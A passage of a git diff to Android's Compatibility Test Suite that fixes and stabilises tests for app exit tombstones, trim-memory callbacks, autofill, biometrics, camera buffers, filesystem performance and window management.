DeviceAdminInfoTest.getProfileOwnerComponent().flattenToString()); + } + } + + private void setProfileOwnerAndWaitForSuccess(String componentName) + throws InterruptedException, AdbException { + ShellCommand.builder("dpm set-profile-owner") + .addOperand("--user cur") + .addOperand(componentName) + .validate(ShellCommandUtils::startsWithSuccess) + .executeUntilValid(); + } + + private void tryClearProfileOwner() { + try { + mDevicePolicyManager.clearProfileOwner(DeviceAdminInfoTest.getProfileOwnerComponent()); + } catch (SecurityException se) { + Log.w(TAG, "Test is not a profile owner and there is no need to clear."); + } } } diff --git a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java index db74563a436..27378c3d08d 100644 --- a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java +++ b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java @@ -55,6 +55,7 @@ import android.util.Log; import android.util.Pair; import com.android.compatibility.common.util.AmMonitor; +import com.android.compatibility.common.util.PollingCheck; import com.android.compatibility.common.util.ShellIdentityUtils; import com.android.compatibility.common.util.SystemUtil; import com.android.internal.util.ArrayUtils; @@ -103,6 +104,8 @@ public final class ActivityManagerAppExitInfoTest extends InstrumentationTestCas private static final int EXIT_CODE = 123; private static final int CRASH_SIGNAL = OsConstants.SIGSEGV; + private static final int TOMBSTONE_FETCH_TIMEOUT_MS = 10_000; + private static final int WAITFOR_MSEC = 10000; private static final int WAITFOR_SETTLE_DOWN = 2000; @@ -840,17 +843,11 @@ public final class ActivityManagerAppExitInfoTest extends InstrumentationTestCas verify(list.get(0), mStubPackagePid, mStubPackageUid, STUB_PACKAGE_NAME, ApplicationExitInfo.REASON_CRASH_NATIVE, null, null, now, now2); - InputStream trace = ShellIdentityUtils.invokeMethodWithShellPermissions( - list.get(0), - (i) -> { - try { - return i.getTraceInputStream(); - } catch (IOException ex) { - return null; - } - }, - android.Manifest.permission.DUMP); + TombstoneFetcher tombstoneFetcher = new TombstoneFetcher(list.get(0)); + PollingCheck.check("not able to get tombstone", TOMBSTONE_FETCH_TIMEOUT_MS, + () -> tombstoneFetcher.fetchTrace()); + InputStream trace = tombstoneFetcher.getTrace(); assertNotNull(trace); Tombstone tombstone = Tombstone.parseFrom(trace); assertEquals(tombstone.getPid(), mStubPackagePid); @@ -1242,4 +1239,31 @@ public final class ActivityManagerAppExitInfoTest extends InstrumentationTestCas assertTrue(ArrayUtils.equals(info.getProcessStateSummary(), cookie, cookie == null ? 0 : cookie.length)); } + + private static class TombstoneFetcher { + private InputStream mTrace = null; + private final ApplicationExitInfo mExitInfo; + + TombstoneFetcher(ApplicationExitInfo exitInfo) { + mExitInfo = exitInfo; + } + + public InputStream getTrace() { + return mTrace; + } + + public boolean fetchTrace() throws Exception { + mTrace = ShellIdentityUtils.invokeMethodWithShellPermissions( + mExitInfo, + (i) -> { + try { + return i.getTraceInputStream(); + } catch (IOException ex) { + return null; + } + }, + android.Manifest.permission.DUMP); + return (mTrace != null); + } + } } diff --git a/tests/app/shared/src/android/app/cts/NotificationTemplateTestBase.kt b/tests/app/shared/src/android/app/cts/NotificationTemplateTestBase.kt index 3d48dccb4d0..6b84cd30afb 100644 --- a/tests/app/shared/src/android/app/cts/NotificationTemplateTestBase.kt +++ b/tests/app/shared/src/android/app/cts/NotificationTemplateTestBase.kt @@ -68,8 +68,16 @@ open class NotificationTemplateTestBase : AndroidTestCase() { } protected fun createBitmap(width: Int, height: Int): Bitmap = - Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888).also { - it.eraseColor(Color.GRAY) + Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888).apply { + // IMPORTANT: Pass current DisplayMetrics when creating a Bitmap, so that it + // receives the correct density. Otherwise, the Bitmap may get the default density + // (DisplayMetrics.DENSITY_DEVICE), which in some cases (eg. for apps running in + // compat mode) may be different from the actual density the app is rendered with. + // This would lead to the Bitmap eventually being rendered with different sizes, + // than the ones passed here. + density = context.resources.displayMetrics.densityDpi + + eraseColor(Color.GRAY) } protected fun makeCustomContent(): RemoteViews { diff --git a/tests/app/src/android/app/cts/ActivityManagerTest.java b/tests/app/src/android/app/cts/ActivityManagerTest.java index 4b6ce27e018..54eae98d0df 100644 --- a/tests/app/src/android/app/cts/ActivityManagerTest.java +++ b/tests/app/src/android/app/cts/ActivityManagerTest.java @@ -89,6 +89,7 @@ import java.util.Set; import java.util.concurrent.CountDownLatch; import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.TimeUnit; +import java.util.function.Consumer; import java.util.function.Predicate; import java.util.function.Supplier; @@ -1312,8 +1313,12 @@ public class ActivityManagerTest extends InstrumentationTestCase { final WatchUidRunner watcher3 = new WatchUidRunner(mInstrumentation, ai3.uid, waitForSec); final CountDownLatch[] latchHolder = new CountDownLatch[1]; - final int[] levelHolder = new int[1]; - final Bundle extras = initWaitingForTrimLevel(latchHolder, levelHolder); + final int[] expectedLevel = new int[1]; + final Bundle extras = initWaitingForTrimLevel(level -> { + if (level == expectedLevel[0]) { + latchHolder[0].countDown(); + } + }); try { // Make sure we could start activity from background SystemUtil.runShellCommand(mInstrumentation, @@ -1326,6 +1331,7 @@ public class ActivityManagerTest extends InstrumentationTestCase { toggleScreenOn(true); latchHolder[0] = new CountDownLatch(1); + expectedLevel[0] = TRIM_MEMORY_RUNNING_MODERATE; // Start an activity CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_START_ACTIVITY, @@ -1337,54 +1343,63 @@ public class ActivityManagerTest extends InstrumentationTestCase { SystemUtil.runShellCommand(mInstrumentation, "am memory-factor set MODERATE"); assertTrue("Failed to wait for the trim memory event", latchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS)); - assertEquals(TRIM_MEMORY_RUNNING_MODERATE, levelHolder[0]); latchHolder[0] = new CountDownLatch(1); + expectedLevel[0] = TRIM_MEMORY_RUNNING_LOW; // Force the memory pressure to low SystemUtil.runShellCommand(mInstrumentation, "am memory-factor set LOW"); assertTrue("Failed to wait for the trim memory event", latchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS)); - assertEquals(TRIM_MEMORY_RUNNING_LOW, levelHolder[0]); latchHolder[0] = new CountDownLatch(1); + expectedLevel[0] = TRIM_MEMORY_RUNNING_CRITICAL; // Force the memory pressure to critical SystemUtil.runShellCommand(mInstrumentation, "am memory-factor set CRITICAL"); assertTrue("Failed to wait for the trim memory event", latchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS)); - assertEquals(TRIM_MEMORY_RUNNING_CRITICAL, levelHolder[0]); + + CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_START_SERVICE, + PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, LocalForegroundService.newCommand( + LocalForegroundService.COMMAND_START_NO_FOREGROUND)); // Reset the memory pressure override SystemUtil.runShellCommand(mInstrumentation, "am memory-factor reset"); latchHolder[0] = new CountDownLatch(1); + expectedLevel[0] = TRIM_MEMORY_UI_HIDDEN; // Start another activity in package2 CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_START_ACTIVITY, PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null); watcher2.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP, null); + watcher1.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_SERVICE, null); assertTrue("Failed to wait for the trim memory event", latchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS)); - assertEquals(TRIM_MEMORY_UI_HIDDEN, levelHolder[0]); // Start the heavy weight activity final Intent intent = new Intent(); final CountDownLatch[] heavyLatchHolder = new CountDownLatch[1]; - final int[] heavyLevelHolder = new int[1]; + final Predicate[] testFunc = new Predicate[1]; intent.setPackage(CANT_SAVE_STATE_1_PACKAGE_NAME); intent.setAction(Intent.ACTION_MAIN); intent.addCategory(Intent.CATEGORY_LAUNCHER); intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); - intent.putExtras(initWaitingForTrimLevel(heavyLatchHolder, heavyLevelHolder)); + intent.putExtras(initWaitingForTrimLevel(level -> { + if (testFunc[0].test(level)) { + heavyLatchHolder[0].countDown(); + } + })); mTargetContext.startActivity(intent); watcher3.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP, null); heavyLatchHolder[0] = new CountDownLatch(1); + testFunc[0] = level -> TRIM_MEMORY_RUNNING_MODERATE <= (int) level + && TRIM_MEMORY_RUNNING_CRITICAL >= (int) level; // Force the memory pressure to moderate SystemUtil.runShellCommand(mInstrumentation, "am memory-factor set MODERATE"); assertTrue("Failed to wait for the trim memory event", heavyLatchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS)); - assertEquals(TRIM_MEMORY_RUNNING_MODERATE, heavyLevelHolder[0]); // Now go home final Intent homeIntent = new Intent(); @@ -1393,27 +1408,11 @@ public class ActivityManagerTest extends InstrumentationTestCase { homeIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); heavyLatchHolder[0] = new CountDownLatch(1); + testFunc[0] = level -> TRIM_MEMORY_BACKGROUND == (int) level; mTargetContext.startActivity(homeIntent); assertTrue("Failed to wait for the trim memory event", heavyLatchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS)); - assertEquals(TRIM_MEMORY_BACKGROUND, heavyLevelHolder[0]); - // All done, clean up. - CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_STOP_ACTIVITY, - PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null); - CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_STOP_ACTIVITY, - PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null); - - final Intent finishIntent = new Intent(); - finishIntent.setPackage(CANT_SAVE_STATE_1_PACKAGE_NAME); - finishIntent.setAction(ACTION_FINISH); - finishIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); - finishIntent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP); - mTargetContext.startActivity(finishIntent); - - watcher1.waitFor(WatchUidRunner.CMD_CACHED, null); - watcher2.waitFor(WatchUidRunner.CMD_CACHED, null); - watcher3.waitFor(WatchUidRunner.CMD_CACHED, null); } finally { SystemUtil.runShellCommand(mInstrumentation, "cmd deviceidle whitelist -" + PACKAGE_NAME_APP1); @@ -1682,16 +1681,15 @@ public class ActivityManagerTest extends InstrumentationTestCase { return lru; } - private Bundle initWaitingForTrimLevel( - final CountDownLatch[] latchHolder, final int[] levelHolder) { + private Bundle initWaitingForTrimLevel(final Consumer<Integer> checker) { final IBinder binder = new Binder() { @Override protected boolean onTransact(int code, Parcel data, Parcel reply, int flags) throws RemoteException { switch (code) { case IBinder.FIRST_CALL_TRANSACTION: - levelHolder[0] = data.readInt(); - latchHolder[0].countDown(); + final int level = data.readInt(); + checker.accept(level); return true; default: return false; diff --git a/tests/app/src/android/app/cts/DownloadManagerTest.java b/tests/app/src/android/app/cts/DownloadManagerTest.java index 0bb5aa2e694..21206871850 100644 --- a/tests/app/src/android/app/cts/DownloadManagerTest.java +++ b/tests/app/src/android/app/cts/DownloadManagerTest.java @@ -24,6 +24,7 @@ import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertNotNull; import static org.junit.Assert.assertTrue; import static org.junit.Assert.fail; +import static org.junit.Assume.assumeFalse; import android.app.DownloadManager; import android.app.DownloadManager.Query; @@ -697,6 +698,8 @@ public class DownloadManagerTest extends DownloadManagerTestBase { @Test public void testDownload_onMediaStoreDownloadsDeleted() throws Exception { + assumeFalse(mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK)); + // prepare file File file = new File(Environment.getExternalStoragePublicDirectory( Environment.DIRECTORY_DOWNLOADS), "cts" + System.nanoTime() + ".mp3"); diff --git a/tests/app/src/android/app/cts/ServiceTest.java b/tests/app/src/android/app/cts/ServiceTest.java index 2c54a4cc2ad..2d1850935af 100644 --- a/tests/app/src/android/app/cts/ServiceTest.java +++ b/tests/app/src/android/app/cts/ServiceTest.java @@ -1269,6 +1269,8 @@ public class ServiceTest extends ActivityTestsBase { mExpectedServiceState = STATE_START_1; startForegroundService(COMMAND_START_FOREGROUND_DEFER_NOTIFICATION); waitForResultOrThrow(DELAY, "service to start with deferred notification"); + // Pause a moment and ensure that the notification has still not appeared + waitMillis(1000L); assertNoNotification(1); // Explicitly post a new Notification with the same id, still deferrable diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java index af44058064f..745ed170395 100644 --- a/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java +++ b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java @@ -363,6 +363,33 @@ public class LoginActivity extends AbstractAutoFillActivity { } /** + * Set the EditText input or password value and wait until text change. + */ + public void setTextAndWaitTextChange(String username, String password) throws Exception { + expectTextChange(username, password); + + syncRunOnUiThread(() -> { + if (username != null) { + onUsername((v) -> v.setText(username)); + + } + if (password != null) { + onPassword((v) -> v.setText(password)); + } + }); + + assertTextChange(); + } + + private void expectTextChange(String username, String password) { + expectAutoFill(username, password); + } + + private void assertTextChange() throws Exception { + assertAutoFilled(); + } + + /** * Holder for the expected auto-fill values. */ private final class FillExpectation { diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java index 49d9fb205c2..65eca39e875 100644 --- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java +++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java @@ -91,15 +91,18 @@ public class InlineFillEventHistoryTest extends FillEventHistoryCommonTestCase { mUiBot.waitForIdle(); sReplier.getNextFillRequest(); + // Set expected + mActivity.expectAutoFill("id", "pass"); + // Suggestion strip was shown. mUiBot.assertDatasets("Dataset"); mUiBot.selectDataset("Dataset"); - mUiBot.waitForIdle(); + + // Verify auto filled + mActivity.assertAutoFilled(); // Change username and password - mActivity.syncRunOnUiThread(() -> mActivity.onUsername((v) -> v.setText("ID"))); - mActivity.syncRunOnUiThread(() -> mActivity.onPassword((v) -> v.setText("PASS"))); - mUiBot.waitForIdle(); + mActivity.setTextAndWaitTextChange("ID", "PASS"); // Trigger save UI. mActivity.tapSave(); diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java index 0794739b42e..c2dfb13588e 100644 --- a/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java +++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java @@ -906,6 +906,11 @@ public final class Helper { Log.v(TAG, "isRotationSupported(): is PC"); return false; } + if (!packageManager.hasSystemFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE) + || !packageManager.hasSystemFeature(PackageManager.FEATURE_SCREEN_PORTRAIT)) { + Log.v(TAG, "isRotationSupported(): no screen orientation feature"); + return false; + } return true; } diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraExtensionCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionCharacteristicsTest.java index c068161894c..d725a8a49a9 100644 --- a/tests/camera/src/android/hardware/camera2/cts/CameraExtensionCharacteristicsTest.java +++ b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionCharacteristicsTest.java @@ -21,6 +21,7 @@ import android.graphics.SurfaceTexture; import android.hardware.camera2.CameraExtensionCharacteristics; import android.hardware.camera2.cts.helpers.StaticMetadata; import android.hardware.camera2.cts.testcases.Camera2AndroidTestRule; +import android.platform.test.annotations.AppModeFull; import android.renderscript.Allocation; import android.util.Log; import android.util.Range; @@ -125,6 +126,7 @@ public class CameraExtensionCharacteristicsTest { } @Test + @AppModeFull(reason = "Instant apps can't access Test API") public void testExtensionAvailability() throws Exception { boolean extensionsAdvertised = false; for (String id : mTestRule.getCameraIdsUnderTest()) { diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java index 7a4c2e0160c..369fae2de2f 100644 --- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java +++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java @@ -1542,9 +1542,13 @@ public class CameraTestUtils extends Assert { } int h = (i == 0) ? height : height / 2; for (int row = 0; row < h; row++) { - int length = rowStride; + // Each 10-bit pixel occupies 2 bytes + int length = 2 * width; buffer.get(data, offset, length); offset += length; + if (row < h - 1) { + buffer.position(buffer.position() + rowStride - length); + } } if (VERBOSE) Log.v(TAG, "Finished reading data from plane " + i); buffer.rewind(); diff --git a/tests/filesystem/AndroidManifest.xml b/tests/filesystem/AndroidManifest.xml index d203a1a8c3a..f559247f5dd 100644 --- a/tests/filesystem/AndroidManifest.xml +++ b/tests/filesystem/AndroidManifest.xml @@ -23,6 +23,9 @@ <application> <uses-library android:name="android.test.runner" /> + <activity android:name=".FileActivity" + android:exported="true"> + </activity> </application> <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner" android:targetPackage="android.filesystem.cts" diff --git a/tests/filesystem/src/android/filesystem/cts/FileActivity.java b/tests/filesystem/src/android/filesystem/cts/FileActivity.java new file mode 100644 index 00000000000..58b108e1981 --- /dev/null +++ b/tests/filesystem/src/android/filesystem/cts/FileActivity.java @@ -0,0 +1,37 @@ +/* + * Copyright (C) 2016 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.filesystem.cts; + +import android.app.Activity; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import androidx.test.InstrumentationRegistry; + +/** + * A simple activity to stay foreground context. + */ +public class FileActivity extends Activity { + private static final String PACKAGE_NAME = "android.filesystem.cts"; + + public static void startFileActivity(Context context) { + final Intent intent = new Intent(); + intent.setComponent(new ComponentName(PACKAGE_NAME, FileActivity.class.getName())); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + context.startActivity(intent); + } +} diff --git a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java index 9f05994832e..10170812a74 100644 --- a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java +++ b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java @@ -65,6 +65,7 @@ public class RandomRWTest { if (fileSize == 0) { // not enough space, give up return; } + FileActivity.startFileActivity(getContext()); String streamName = "test_random_read"; DeviceReportLog report = new DeviceReportLog(REPORT_LOG_NAME, streamName); double mbps = FileUtil.doRandomReadTest(getContext(), DIR_RANDOM_RD, report, fileSize, @@ -86,6 +87,7 @@ public class RandomRWTest { while (usableSpace < fileSize) { fileSize = fileSize / 2; } + FileActivity.startFileActivity(getContext()); String streamName = "test_random_update"; DeviceReportLog report = new DeviceReportLog(REPORT_LOG_NAME, streamName); double mbps = -1; diff --git a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java index 269861c1ed9..a3e6f834634 100644 --- a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java +++ b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java @@ -78,6 +78,7 @@ public class SequentialRWTest { if (fileSize == 0) { // not enough space, give up return; } + FileActivity.startFileActivity(getContext()); final int numberOfFiles =(int)(fileSize / BUFFER_SIZE); String streamName = "test_single_sequential_write"; DeviceReportLog report = new DeviceReportLog(REPORT_LOG_NAME, streamName); @@ -115,6 +116,7 @@ public class SequentialRWTest { if (fileSize == 0) { // not enough space, give up return; } + FileActivity.startFileActivity(getContext()); final int NUMBER_REPETITION = 3; String streamName = "test_single_sequential_update"; FileUtil.doSequentialUpdateTest(getContext(), DIR_SEQ_UPDATE, fileSize, BUFFER_SIZE, @@ -128,6 +130,7 @@ public class SequentialRWTest { if (fileSize == 0) { // not enough space, give up return; } + FileActivity.startFileActivity(getContext()); long start = System.currentTimeMillis(); final File file = FileUtil.createNewFilledFile(getContext(), DIR_SEQ_RD, fileSize); diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricActivityTests.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricActivityTests.java index 7d8416e3ca8..cf8010c17ef 100644 --- a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricActivityTests.java +++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricActivityTests.java @@ -52,6 +52,10 @@ public class BiometricActivityTests extends BiometricTestBase { @Test public void testBiometricOnly_authenticateFromForegroundActivity() throws Exception { for (SensorProperties prop : mSensorProperties) { + if (prop.getSensorStrength() == SensorProperties.STRENGTH_CONVENIENCE) { + continue; + } + try (BiometricTestSession session = mBiometricManager.createTestSession(prop.getSensorId()); ActivitySession activitySession = @@ -100,6 +104,10 @@ public class BiometricActivityTests extends BiometricTestBase { @Test public void testBiometricOnly_rejectThenErrorFromForegroundActivity() throws Exception { for (SensorProperties prop : mSensorProperties) { + if (prop.getSensorStrength() == SensorProperties.STRENGTH_CONVENIENCE) { + continue; + } + try (BiometricTestSession session = mBiometricManager.createTestSession(prop.getSensorId()); ActivitySession activitySession = @@ -162,6 +170,10 @@ public class BiometricActivityTests extends BiometricTestBase { @Test public void testBiometricOnly_rejectThenAuthenticate() throws Exception { for (SensorProperties prop : mSensorProperties) { + if (prop.getSensorStrength() == SensorProperties.STRENGTH_CONVENIENCE) { + continue; + } + try (BiometricTestSession session = mBiometricManager.createTestSession(prop.getSensorId()); ActivitySession activitySession = @@ -225,6 +237,10 @@ public class BiometricActivityTests extends BiometricTestBase { @Test public void testBiometricOnly_negativeButtonInvoked() throws Exception { for (SensorProperties prop : mSensorProperties) { + if (prop.getSensorStrength() == SensorProperties.STRENGTH_CONVENIENCE) { + continue; + } + try (BiometricTestSession session = mBiometricManager.createTestSession(prop.getSensorId()); ActivitySession activitySession = @@ -272,6 +288,10 @@ public class BiometricActivityTests extends BiometricTestBase { try (CredentialSession credentialSession = new CredentialSession()) { credentialSession.setCredential(); for (SensorProperties prop : mSensorProperties) { + if (prop.getSensorStrength() == SensorProperties.STRENGTH_CONVENIENCE) { + continue; + } + try (BiometricTestSession session = mBiometricManager.createTestSession(prop.getSensorId()); ActivitySession activitySession = diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSecurityTests.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSecurityTests.java index 7ffda4f723c..9b30fa6c562 100644 --- a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSecurityTests.java +++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSecurityTests.java @@ -163,7 +163,7 @@ public class BiometricSecurityTests extends BiometricTestBase { testBiometricStrength_forSensor_authDisallowed(sensorId, testCases[i][0] /* originalStrength */, testCases[i][1] /* requestedStrength */, - sensors.size() > 1 /* hasMultiSensors */); + mSensorProperties.size() > 1 /* hasMultiSensors */); } } } @@ -505,7 +505,7 @@ public class BiometricSecurityTests extends BiometricTestBase { testCases[i][0] /* originalStrength */, testCases[i][1] /* targetStrength */, testCases[i][2] /* requestedStrength */, - sensors.size() > 1 /* hasMultiSensors */); + mSensorProperties.size() > 1 /* hasMultiSensors */); } } } diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java index 86bed8564b8..a449266be04 100644 --- a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java +++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java @@ -228,6 +228,9 @@ public class BiometricSimpleTests extends BiometricTestBase { @Test public void testSimpleBiometricAuth() throws Exception { for (SensorProperties props : mSensorProperties) { + if (props.getSensorStrength() == SensorProperties.STRENGTH_CONVENIENCE) { + continue; + } Log.d(TAG, "testSimpleBiometricAuth, sensor: " + props.getSensorId()); @@ -339,6 +342,10 @@ public class BiometricSimpleTests extends BiometricTestBase { @Test public void testBiometricCancellation() throws Exception { for (SensorProperties props : mSensorProperties) { + if (props.getSensorStrength() == SensorProperties.STRENGTH_CONVENIENCE) { + continue; + } + try (BiometricTestSession session = mBiometricManager.createTestSession(props.getSensorId())) { enrollForSensor(session, props.getSensorId()); diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml index f0f40a69772..287e67cb003 100644 --- a/tests/framework/base/windowmanager/AndroidManifest.xml +++ b/tests/framework/base/windowmanager/AndroidManifest.xml @@ -366,7 +366,7 @@ android:theme="@style/no_starting_window"/> <activity android:name="android.server.wm.WindowFocusTests$PrimaryActivity"/> <activity android:name="android.server.wm.WindowFocusTests$SecondaryActivity" - android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density"/> + android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/> <activity android:name="android.server.wm.WindowFocusTests$LosingFocusActivity"/> <activity android:name="android.server.wm.WindowFocusTests$AutoEngagePointerCaptureActivity" /> <activity android:name="android.server.wm.WindowMetricsActivityTests$MetricsActivity" diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java index b03e45330e0..42139843c7e 100755 --- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java @@ -604,7 +604,6 @@ public class KeyguardTests extends KeyguardTestBase { mWmState.waitForKeyguardGone(); mWmState.assertVisibility(TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY, true); assertFalse(mWmState.getKeyguardControllerState().keyguardShowing); - assertOnDismissSucceeded(TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY); assertTrue(isDisplayOn(DEFAULT_DISPLAY)); } diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java index 63526cfca47..8f2483cd1ca 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java @@ -87,6 +87,7 @@ import org.junit.Test; import java.util.List; import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; /** * Build/Install/Run: @@ -276,11 +277,13 @@ public class MultiDisplaySystemDecorationTests extends MultiDisplayTestBase { assertEquals("The number of nav bars should be the same", expected.size(), result.size()); - // Nav bars should show on the same displays - for (int i = 0; i < expected.size(); i++) { - final int expectedDisplayId = expected.get(i).getDisplayId(); - mWmState.waitAndAssertNavBarShownOnDisplay(expectedDisplayId); - } + mWmState.getDisplays().forEach(displayContent -> { + List<WindowState> navWindows = expected.stream().filter(ws -> + ws.getDisplayId() == displayContent.mId) + .collect(Collectors.toList()); + + mWmState.waitAndAssertNavBarShownOnDisplay(displayContent.mId, navWindows.size()); + }); } // Secondary Home related tests diff --git a/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java index 1a5a6830959..b664b1121ae 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java @@ -55,6 +55,7 @@ import androidx.test.rule.ActivityTestRule; import com.android.compatibility.common.util.PollingCheck; +import org.junit.After; import org.junit.Rule; import org.junit.Test; import org.junit.runner.RunWith; @@ -83,6 +84,12 @@ public class RoundedCornerTests { @Parameterized.Parameter(1) public String orientationName; + @After + public void tearDown() { + mTestActivity.finishActivity(); + new WindowManagerStateHelper().waitForDisplayUnfrozen(); + } + @Rule public final ActivityTestRule<TestActivity> mTestActivity = new ActivityTestRule<>(TestActivity.class, false /* initialTouchMode */, diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java index a56b0227d49..b49e726114a 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java @@ -112,6 +112,7 @@ public class SplashscreenTests extends ActivityManagerTestBase { public void setUp() throws Exception { super.setUp(); mWmState.setSanityCheckWithFocusedWindow(false); + mWmState.waitForDisplayUnfrozen(); } @After diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java index 0b423604ded..024ea1770d1 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java @@ -290,7 +290,6 @@ public class WindowFocusTests extends WindowManagerTestBase { DEFAULT_DISPLAY); final InvisibleVirtualDisplaySession session = createManagedInvisibleDisplaySession(); - final int secondaryDisplayId = session.getDisplayId(); final SecondaryActivity secondaryActivity = session.startActivityAndFocus(); // Secondary display disconnected. session.close(); diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java 